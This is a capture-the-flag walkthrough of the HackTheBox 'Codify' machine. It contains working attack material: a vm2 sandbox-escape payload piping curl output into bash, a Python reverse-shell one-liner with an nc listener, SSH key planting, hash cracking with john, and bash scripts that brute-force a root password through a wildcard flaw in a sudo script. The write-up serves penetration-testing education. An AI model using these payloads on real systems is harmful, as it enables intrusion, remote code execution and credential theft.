HackTheBox | Codify

In this walkthrough, I demonstrate how I obtained complete ownership of Codify on HackTheBox
HackTheBox | Codify
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Wed Feb  7 12:26:09 2024 as: nmap -Pn -p- -sT --min-rate 5000 -A -oN nmap.txt
Nmap scan report for
Host is up (0.012s latency).
Not shown: 65532 closed tcp ports (conn-refused)
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
1   10.50 ms
2   10.55 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb  7 12:26:32 2024 -- 1 IP address (1 host up) scanned in 22.96 seconds

Noting the http://codify.htb redirect in the tcp/80 output, let's add that to our /etc/hosts file.

echo '        codify.htb' | sudo tee -a /etc/hosts

Service Enumeration

TCP/80, TCP/3000

These are duplicate ports. Likely what is going on here is this:

  • tcp/3000 is the Node.js Express server running Codify, which should really be bound to the loopback interface
  • tcp/80 is Apache reverse proxying to tcp/3000
/about page
Release 3.9.16 · patriksimek/vm2
Fixes 24c724d: Fix issue in transformer issue by reworking replacement logic. (Thanky to Xion (SeungHyun Lee) of KAIST Hacking Lab.)

The 'vm2' library version they appear to be using

/limitations page

Gobuster Enumeration

gobuster dir -u http://codify.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100
/About                (Status: 200) [Size: 2921]
/about                (Status: 200) [Size: 2921]
/editor               (Status: 200) [Size: 3123]
/server-status        (Status: 403) [Size: 275]

Nothing too interesting here that we don't already know about

Continued Enumeration

vm2 javascript code editor cve “3.9.16” - Google Search

Seems like there might be a RCE vulnerability that affects version up to 3.9.16 with CVE ID, CVE-2023-30547.

If we search for CVE-2023-30547, we can find this page in the National Vulnerability Database:

NVD - CVE-2023-30547
There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException() which can be used to escape the sandbox and run arbitrary code in host context. This vulnerability was patched in the release of version 3.9.17 of vm2. There are no known workarounds for this vulnerability. Users are advised to upgrade.

We can find a proof-of-concept exploit linked in the NVD page:

Sandbox Escape in vm2@3.9.16
Sandbox Escape in vm2@3.9.16. GitHub Gist: instantly share code, notes, and snippets.


Making Sense of the Exploit

Proof-of-Concept from GitHub

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');


Let's recall from the /limitations page on the target server, this statement:

This exploit works, because while the application does prevent the loading of the child_process module in the code editor, it fails to do so when required by a error handler. Therefore in the try{}catch{} block, when throw raises the exception in the try{} code block, the require('child_process') statement is loaded in the catch{} code block.

We can see the execSync() called by child_process runs touch pwned on the underlying operating system. So, we can change touch pwned to our desired system command.

Getting a Reverse Shell

Let's test the exploit and see how the target responds to a curl command, where we call back to our Kali VPN IP.

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('curl');


Success! We should have no trouble at all getting a reverse shell at this point.

nano sh.py

Create sh.py to be hosted by our HTTP server

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Change the IP address and port as required and save sh.py

sudo rlwrap nc -lvnp 443

Start your TCP listener alongside your HTTP server

try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('curl | bash -');

Final payload

No output as the process is the socket is keeping the process open

Switching to SSH

ssh-keygen -t rsa -b 4096 -C '' -N '' -f svc_key

Run this on Kali to generate a SSH keypair

cat svc_key.pub
Copy and paste this to your clipboard
mkdir ~/.ssh

Run this on the target in your reverse shell

echo 'ssh-rsa AAAAB3NzaC1yc2E...' > ~/.ssh/authorized_keys

Output the public key string in the 'svc' user's authorized_keys file

ssh -i svc_key svc@codify.htb

Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux codify 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

PRETTY_NAME="Ubuntu 22.04.3 LTS"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

Current User

uid=1001(svc) gid=1001(svc) groups=1001(svc)

Sorry, user svc may not run sudo on codify.    

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:29:28 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet brd scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:2928/64 scope global dynamic mngtmpaddr 
       valid_lft 86395sec preferred_lft 14395sec
    inet6 fe80::250:56ff:feb9:2928/64 scope link 
       valid_lft forever preferred_lft forever
3: br-5ab86a4e40d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:9a:31:84:f6 brd ff:ff:ff:ff:ff:ff
    inet brd scope global br-5ab86a4e40d0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:9aff:fe31:84f6/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:93:41:f2:3c brd ff:ff:ff:ff:ff:ff
    inet brd scope global docker0
       valid_lft forever preferred_lft forever
5: br-030a38808dbf: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:18:fb:eb:b5 brd ff:ff:ff:ff:ff:ff
    inet brd scope global br-030a38808dbf
       valid_lft forever preferred_lft forever
7: veth68599c1@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5ab86a4e40d0 state UP group default 
    link/ether 92:99:21:3b:a8:1c brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::9099:21ff:fe3b:a81c/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0*               LISTEN      -                   
tcp        0      0 *               LISTEN      -                   
tcp        0      0*               LISTEN      -                       

Processes and Services

Interesting Processes

lxd         1678 mariadbd
root        1535 /bin/sh /root/scripts/other/docker-startup.sh
svc         1260 PM2 v5.3.0: God Daemon (/home/svc/.pm2)

Interesting Services

docker.service              loaded active running Docker Application Containe>  
pm2-svc.service             loaded active running PM2 process manager

Interesting Files


DB_PASS=$(/usr/bin/cat /root/.creds)

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
        /usr/bin/echo "Password confirmation failed!"
        exit 1

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'


# Command used to find the file
grep -ilar joshua / 2>/dev/null 
�T5��T�format 3@  .WJ
       tableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)��        tableusersusersCREATE TABLE users (
        username TEXT UNIQUE, 
        password TEXT
����ua  users
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

Privilege Escalation

Lateral to Joshua

We found a bcrypt hash for joshua in /var/www/contact/tickets.db. Paste the password hash in file Kali in the format shown below.

echo 'joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash
john --wordlist=rockyou.txt hash
ssh joshua@codify.htb
Now that we've pivoted to the user joshua we can repeat the post-exploit enumeration steps.

Escalate to Root

Understanding the Vulnerability

We discovered the /opt/scripts/mysql-backup.sh script early in the post-exploit enumeration, but now that we've pivoted to joshua, it's obvious that with the sudo privileges to run this script that we've found the root escalation path.

It took me a bit to understand how this script could be abused, but should have been more obvious initially. If you're not that familiar with bash scripting, then this would have been more of a challenge.

The vulnerability is derived from the use of [[ reference_value == comparison_value ]] vs [ reference_value == comparison_value ] in the bash script.

To further expand, I'll give you an example using some simple code below.

  1. [ password == password ] evaluates to They're the same
  2. [[ password == password ]] also evaluates to They're the same
  3. [ password == pass* ] evaluates to They're not the same
  4. [[ password == pass* ]] evaluates to They're the same

This is because the use of [[ ]] double square brackets allows for pattern matching to be evaluated, and pass* is a wildcard regular expression pattern that will match pass, passw, passe, passwo, etc.

Moreover, it would have been safer if the programmer had wrapped the values in quotes, which would cause the values to be taken literally.

Exploiting the Vulnerable Script

Initial Proof-of-Concept

We're going to use a for loop, some character ranges — 0-9 and a-z — and the * asterisk wildcard to do a pattern match on the first character of the password.

for character in {0..9} {a..z} {A..Z} ; do \
if echo "$character*" | sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep confirmed ; then \
echo "Pattern match: $character*" ; \
fi ; \

Finding the Length of the Password

Now, let's use a script to determine the length and character set of the password. Before, we used just alphanumeric characters (no symbols), so we'll stick with that for now.

#! /usr/bin/env bash

while [[ -z "$pw_confirmed" ]]; do
    test_pattern=$(printf "%${repetitions}s" | sed "s/ /$pattern/g")
    echo $test_pattern| sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep confirmed > /dev/null && pw_confirmed='True' && echo "Password length: $repetitions"

What this script is doing is effectively multiplying the pattern [0-9a-zA-Z] times the number in $repetitions and testing that against the vulnerable script. Effectively:

  1. [0-9a-zA-Z]
  2. [0-9a-zA-Z][0-9a-zA-Z]
  3. [0-9a-zA-Z][0-9a-zA-Z][0-9a-zA-Z]
  4. [0-9a-zA-Z][0-9a-zA-Z][0-9a-zA-Z][0-9a-zA-Z]
  5. And so on...

And we do this until the [[ $DB_PASS = $USER_PASS ]] pattern match evaluates to True, as the repetitions of [0-9a-zA-Z] will be equal to the number of characters in $DB_PASS.

Cracking the Password

Now that we know the length of the password, we can take a similar approach to find the correct password using a pattern match.

#! /usr/bin/env bash

chars=$(echo {0..9} {a..z} {A..Z})
while [ ${#password} -ne $pw_length ]; do
    for char in $(echo $chars) ; do
        echo "${password}${char}*" | sudo $scriptFile 2>/dev/null | grep confirmed > /dev/null && password="${password}${char}"
    echo "Password characters found so far: ${password}"
echo "Possible password: ${password}"

The key points to this script are as follows:

  • chars=$(echo {0..9} {a..z} {A..Z} defines the character set to use
  • pw_length=21 defines the final length of the script
  • password='' is an empty string onto which to concatenate found characters
  • while [ ${#password -ne $pw_length ] runs the loop until the length of $password is equal $pw_length
  • echo "${password}${char}*" to the script
    • Then, grep confirmed in the output and if present && chain password="${password}${char}
    • So, password starts off as empty, then we concatenate character after character

Let's see if the root MySQL password is repeated as the login password by running su root and inputting the password.





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.